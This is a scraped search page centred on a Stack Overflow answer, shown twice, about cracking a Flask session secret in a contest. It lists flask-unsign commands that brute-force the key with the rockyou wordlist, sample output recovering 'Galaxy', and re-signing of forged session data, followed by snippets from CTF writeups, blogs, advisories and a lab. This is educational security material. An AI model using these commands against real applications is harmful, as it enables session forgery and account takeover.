As Elias has already mentioned, the cookie can be decoded without the secret key, but it cannot be manipulated without it for obvious security reasons. If cookie tampering was as easy as that, nobody would use Flask sessions. Therefore, your task is to find the secret key, and since the SHA-1 hash function is non-reversible, you should turn your attention to the human factor.

That being said, you'll have to "guess" the secret key of the contest's careless programmer using brute force, and fortunately, Flask-Unsign can assist you with that.

You can install it via pip by using the following command:

pip3 install flask-unsign

but before using it, you will need a wordlist like rockyou, which you can download from the Kali Linux GitLab repository by using a command like the one below:

curl -JO https://gitlab.com/kalilinux/packages/wordlists/-/raw/kali/master/rockyou.txt.gz && gunzip rockyou.txt.gz
  • -J, --remote-header-name: Uses the server-specified Content-Disposition filename instead of extracting a filename from the URL when saving the file locally.
  • -O, --remote-name: Writes the output to a local file named like the remote file obtained, using the server-specified filename.

Now you can perform the brute force attack using the following command:

flask-unsign --unsign --cookie '.eJwtjkGKAzEMBL-S9TkHy5Yte96wP1jCIEvyJmxIYDxzCvn7-pBTUw1N18ut_c7jasMtPy932me4cYjYGO7svp-_t8fpw_24f7nL-3Kem83G1S37dtikm7rFQUJBRSOL1GKWVCoRC3ED7VAz9FKsVi9aO2RgJmgSi88VuQCmXghjaRZjSCqBDTm3qE1LAh8bGnuG3jAHCV4iZlAoPkhiAGghT9v1GLZ9bCbK2Pq6P__sMQuev2ZcKQFkMinJWhRSqB4hYyWv2oWre_8D5vtQyA.ZTUbZQ.erv_yZmYg44tiaJ0u8fqKailHUc' --no-literal-eval -w rockyou.txt   
  • The --no-literal-eval argument was used because Flask-Unsign assumes by default that each word in a given wordlist is enclosed in quotes. However, this is not the case with the rockyou wordlist.

and find the secret key after a few thousand attempts:

[*] Session decodes to: {'_flashes': [('success', 'Login successful!')], '_fresh': True, '_id': '154c4d4e7e37b36c58977ac7ab1df1961f88e990cd9f161aa71bc380694a8145f87438be3325dc2ae4a6b3dbd85103b4ea0a1fb462c20c3461d1802c5a111b26', '_user_id': '1', 'csrf_token': 'acd9eea9751167ec85eb3c7d1904164970ddfca9'}                       
[*] Starting brute-forcer with 8 threads..                                                                                                     
[+] Found secret key after 175360 attempts                                                                                                     
b'Galaxy'

Finally, having found the secret key, you can use it to sign your own cookie with modified session data according to your needs:

flask-unsign --sign --cookie "modified session data here" --secret 'Galaxy'
Answer from Andreas Violaris on Stack Overflow
Top answer
1 of 2
11

As Elias has already mentioned, the cookie can be decoded without the secret key, but it cannot be manipulated without it for obvious security reasons. If cookie tampering was as easy as that, nobody would use Flask sessions. Therefore, your task is to find the secret key, and since the SHA-1 hash function is non-reversible, you should turn your attention to the human factor.

That being said, you'll have to "guess" the secret key of the contest's careless programmer using brute force, and fortunately, Flask-Unsign can assist you with that.

You can install it via pip by using the following command:

pip3 install flask-unsign

but before using it, you will need a wordlist like rockyou, which you can download from the Kali Linux GitLab repository by using a command like the one below:

curl -JO https://gitlab.com/kalilinux/packages/wordlists/-/raw/kali/master/rockyou.txt.gz && gunzip rockyou.txt.gz
  • -J, --remote-header-name: Uses the server-specified Content-Disposition filename instead of extracting a filename from the URL when saving the file locally.
  • -O, --remote-name: Writes the output to a local file named like the remote file obtained, using the server-specified filename.

Now you can perform the brute force attack using the following command:

flask-unsign --unsign --cookie '.eJwtjkGKAzEMBL-S9TkHy5Yte96wP1jCIEvyJmxIYDxzCvn7-pBTUw1N18ut_c7jasMtPy932me4cYjYGO7svp-_t8fpw_24f7nL-3Kem83G1S37dtikm7rFQUJBRSOL1GKWVCoRC3ED7VAz9FKsVi9aO2RgJmgSi88VuQCmXghjaRZjSCqBDTm3qE1LAh8bGnuG3jAHCV4iZlAoPkhiAGghT9v1GLZ9bCbK2Pq6P__sMQuev2ZcKQFkMinJWhRSqB4hYyWv2oWre_8D5vtQyA.ZTUbZQ.erv_yZmYg44tiaJ0u8fqKailHUc' --no-literal-eval -w rockyou.txt   
  • The --no-literal-eval argument was used because Flask-Unsign assumes by default that each word in a given wordlist is enclosed in quotes. However, this is not the case with the rockyou wordlist.

and find the secret key after a few thousand attempts:

[*] Session decodes to: {'_flashes': [('success', 'Login successful!')], '_fresh': True, '_id': '154c4d4e7e37b36c58977ac7ab1df1961f88e990cd9f161aa71bc380694a8145f87438be3325dc2ae4a6b3dbd85103b4ea0a1fb462c20c3461d1802c5a111b26', '_user_id': '1', 'csrf_token': 'acd9eea9751167ec85eb3c7d1904164970ddfca9'}                       
[*] Starting brute-forcer with 8 threads..                                                                                                     
[+] Found secret key after 175360 attempts                                                                                                     
b'Galaxy'

Finally, having found the secret key, you can use it to sign your own cookie with modified session data according to your needs:

flask-unsign --sign --cookie "modified session data here" --secret 'Galaxy'
2 of 2
1

What you described is the expected behavior by design - the cookie can be decoded without the secret key, but it cannot be modified without it.

from documentation:

If you have set Flask.secret_key (or configured it from SECRET_KEY) you can use sessions in Flask applications. A session makes it possible to remember information from one request to another. The way Flask does this is by using a signed cookie. The user can look at the session contents, but can’t modify it unless they know the secret key, so make sure to set that to something complex and unguessable.

🌐
Medium
medium.com › @sivahari0007 › flask-cookie-exploitation-2e262cac9130
Flask Cookie Exploitation. What is Flask | by siva hari | Medium
August 5, 2022 - That is why Flask by default calls them “signed cookies,” which is simply a way of storing the current session data on the client (rather than the server) in such a way that it cannot (in theory) be tampered with.
Discussions

Stuck on a Flask Security Issue: Is My Session Management Vulnerable?
You didn't mention all the things in Flask Security Considerations: https://flask.palletsprojects.com/en/latest/web-security/ You probably want SameSite Strict. I wrote a diatribe about cookies, it is still largely relevant. Browsers have improved since but also not everyone is on the latest browser. TL;DR Enable all the security features possible for session cookies, and CSRF cookies, but don't use cookies otherwise. https://waters.me/internet/use-cookies-like-it-is-2018/ Security headers discussed here: https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Headers_Cheat_Sheet.html In development and deployment you typically want a Content Security Policy, you typically want a CDN if none is provided by the hosting provider. You don't want to know how bad frames are you just need to stop people doing weird stuff with your app. If you are using simple passwords people will pick weak ones. You don't discuss threat model, what does your app actually do? It may be acceptable to leave passwords to the user if it is something trivial like game high scores, or something you can't afford such as cryptocurrency services. Threat should determine effort, but threat includes GDPR or other legal responsibilities that potentially fall on you. The biggest weakness less important sites will have is storing (and thus eventually leaking) weak password hashes as people reuse passwords still. I know 2025 and people are still ignorant of basic web security, thing about users is there are new ones being born everyday, including yesterday. Also storing more user data than you need (you probably need an email address for password reset flows, do you really need their name? If you need a stronger password reset, you might need a postal address, depending again on what your app does). Flask defaults to a sensible password hash scheme if you use the right modules, but check what you are actually storing, not just a hash but a good one with enough rounds. From a session testing point of view I commonly see not overwriting session cookie at login page delivery (you need to assume anything in the browser before they GET the login page is compromised), not changing the session cookie on successful login, not invalidating old sessions on logout or password change, or similar security related account operations like disabling an account (can't login but current session is valid). Leaking session cookies to other hosting providers is a classic, lot of sites set the application session cookie at the top level domain "example.com" to share across subdomains ("app.example.com", "support.example.com"), then have some cheap Wordpress instance on "www.example.com" telling me how good their security is, which they send the session cookie of every user to needlessly, so no matter how much security they do they'll never get better than Wordpress levels of security (Wordpress security is fine for a blog but you don't want to add it to your apps attack surface). Most important hack to know about sessions, Paypal credit card hack, in early days of PayPal someone created a webpage telling people how to link their credit card to their Paypal account, except it silently logged them into a Paypal account he controlled when they visited his helpful page. He of course knew his own username and password, but was still an "attacker" against their user's credit card details, lack of CSRF on login page, again using Flask forms correctly for login prevents this. More on reddit.com
🌐 r/flask
6
9
September 25, 2025
Exploiting "secure" Cookies in popular Python Web Frameworks
Why the fuck would you use the pickle module to read/maintain state? De-serialization's #1 rule has ALWAYS been don't de-serialize data from an un-known source (and in this case I'm making an addendum - a terribly guarded source). JSON works just as well and doesn't risk poisoning the namespace! And if you do use it, don't fall victim to mass assignment vulnerabilities (which is basically the same attack)! More on reddit.com
🌐 r/Python
45
95
January 27, 2013
How to safely use cookies with Flask to prevent stealing and other attacks? Preferably without Flask-Login.
there is a working solution (flask-login), why not use it? More on reddit.com
🌐 r/flask
7
3
January 18, 2024
🌐
BorderGate
bordergate.co.uk › home › web application › flask session cookies
Flask Session Cookies < BorderGate
May 18, 2023 - After visiting the site, we can ... eyJ1c2VybmFtZSI6InVzZXIifQ.ZCcxgw.ErdND_UcFZgAm_dt_uBIkUWCRX0 · Flask-unsign can be used to brute force the signing key....
🌐
Medium
blog.paradoxis.nl › defeating-flasks-session-management-65706ba9d3ce
Baking Flask cookies with your secrets | Paradoxis
July 31, 2021 - To test this, Rik van Duijn (cool guy, go check out his Twitter) and I did a few queries on Shodan to see how many public-facing devices were broadcasting that they might be running Flask. ... We then narrowed it down to those who immediately set a session cookie (not only due to the fact that Shodan can get pricey, but crawling each host until we find a session cookie might be very intrusive, would most likely melt my router, and probably result in a phone call from my ISP asking what the hell I’m up to).
🌐
Medium
medium.com › @s12deff › hacking-flask-session-cookie-8e7abe7217a8
Hacking Flask Session Cookie. Introduction | by S12 - 0x12Dark Development | Medium
October 2, 2022 - Hacking Flask Session Cookie Introduction The cookie used to store session data is known session cookie. Flask signs the session cookie. It means that anyone can view the contents of the cookie, but …
🌐
GitHub
github.com › Paradoxis › Flask-Unsign
GitHub - Paradoxis/Flask-Unsign: Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys. · GitHub
For this, you can use the --unsign argument. $ flask-unsign --unsign --cookie < cookie.txt [*] Session decodes to: {'logged_in': False} [*] No wordlist selected, falling back to default wordlist..
Starred by 653 users
Forked by 47 users
Languages   Python
Find elsewhere
🌐
iltosec
iltosec.com › blog › post › exploiting-flask-authentication-and-rce-vulnerabilities-chain-lab-writeup
Exploiting Flask Authentication and RCE Vulnerabilities – Chain Lab Writeup
December 2, 2024 - This gave us insight into the potential vulnerability of the application, specifically related to how Flask handles session cookies. ... The output confirmed the application was using Werkzeug, a WSGI utility library that Flask relies on, and Python 3.8.20, which led us to suspect that Flask's insecure cookie handling might be exploitable.
🌐
LinkedIn
linkedin.com › pulse › pentesting-ethical-hacking-tool-series-flask-session-cookie-vanegas
Pentesting and Ethical Hacking Tool Series: Flask Session Cookie Decoder/Encoder/BruteForce
June 1, 2023 - Now we replace the values on the website with our session cookie, thus obtaining the flag. And thus, with these two tools, we have compromised the Flask session cookie.
🌐
DigiNinja
digi.ninja › blog › cracked_flask.php
Cracked Flask Lab - DigiNinja
December 9, 2021 - The lab is very simple, when you first view the page, it sets a session cookie which contains the same information as shown above, to elevate your privileges to administrator, all you have to do is to change the username to "admin".
🌐
GitHub
github.com › pallets › flask › security › advisories › GHSA-m2qf-hxjv-5gpq
Possible disclosure of permanent session cookie due to missing Vary: Cookie header · Advisory · pallets/flask · GitHub
May 1, 2023 - This happens because vulnerable versions of Flask only set the Vary: Cookie header when the session is accessed or modified, not when it is refreshed (re-sent to update the expiration) without being accessed or modified. ... This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS). / 10 ... Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
🌐
HackTricks
book.hacktricks.xyz › home › network services pentesting › pentesting web › flask
Flask - HackTricks
1 week ago - Probably if you are playing a CTF a Flask application will be related to SSTI. ... Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
🌐
Vulners
vulners.com › metasploit › python flask cookie signer
Python Flask Cookie Signer - exploit database | Vulners.com
September 13, 2023 - fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 cookie = cookie_jar.cookies.find { |c| c.name == datastore['CookieName'] }&.cookie_value fail_with(Failure::UnexpectedReply, "#{peer} - Response is missing the session cookie") unless cookie print_status("#{peer} - Initial Cookie: #{cookie}") cookie = cookie.split('=')[1].gsub(';', '') begin decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie) rescue StandardError => e print_error("Failed to decode the cookie: #{e.class} #{e}") return end print_status("#{pe
🌐
Invicti
invicti.com › web-application-vulnerabilities › flask-weak-secret-key
Flask weak secret key - Web Application Vulnerabilities | Invicti
This Flask web application uses ... sign session data and prevent tampering. When a weak or default secret key is used, attackers can predict or discover the key, allowing them to forge valid session cookies with arbitrary data....
🌐
Medium
medium.com › @ahmednarmer1 › ctf-day-43-1a92e694ba8a
CTF Day(43). picoCTF Web Exploitation: Most Cookies | by Ahmed Sa3edo | Medium
July 24, 2025 - If you search for one of these ... is to forge a session with {"very_auth":"admin"}. To do this: Use a tool like flask-unsign to crack the secret key (since it's weak and from a known list)....
🌐
GitLab
advisories.gitlab.com › pypi › flask › CVE-2023-30861
Flask vulnerable to possible disclosure of permanent session cookie due to missing Vary: Cookie header | GitLab Advisory Database (GLAD)
September 20, 2024 - CVE-2023-30861 Flask vulnerable to possible disclosure of permanent session cookie due to missing Vary: Cookie header: When all of the following conditions are met, a response containing data intended for one client may be cached and subsequently …
🌐
YouTube
youtube.com › watch
HackPack CTF - Forging Python Flask Session Cookies - YouTube
If you would like to support me, please like, comment & subscribe, and check me out on Patreon: https://patreon.com/johnhammond010E-mail: johnhammond010@gmai
Published   May 1, 2020
🌐
Read Medium
readmedium.com › hacking-flask-session-cookie-8e7abe7217a8
Hacking Flask Session Cookie
The context then explains the exploitation process, which involves decoding the cookie and brute-forcing the secret key to forge a new cookie with different values. The context concludes by stating that this attack is not typical and can only be executed a few times, but it is useful for attacking ...
🌐
Medium
medium.com › @arulkumaran-s › flask-cookie-0efd25b45561
Flask Cookie. A cookie is a small piece of data… | by Arulkumaran S | Medium
March 30, 2025 - Not very special though...", "success") return render_template("not-flag.html", title=title, cookie_name=session["very_auth"]) else: resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp if __name__ == "__main__": app.run() This is the PicoCTF Web Exploitation ‘Most Cookies’ challenge, which can be solved by exploiting a Flask cookie vulnerability.
🌐
GitHub
github.com › digininja › cracked_flask
GitHub - digininja/cracked_flask: A very simple lab for cracking Flask session cookies · GitHub
flask-unsign --sign --secret monkey --cookie "{'hello': 'world2', 'username': 'admin'}" ... curl --cookie "session=eyJoZWxsbyI6IndvcmxkMiIsInVzZXJuYW1lIjoiYWRtaW4ifQ.YbCXpA.45th8HQUFJO6GHycU_fMkPQ31qc" https://crackedflask.digi.ninja
Starred by 9 users
Forked by 4 users
Languages   Python 95.8% | Dockerfile 4.2%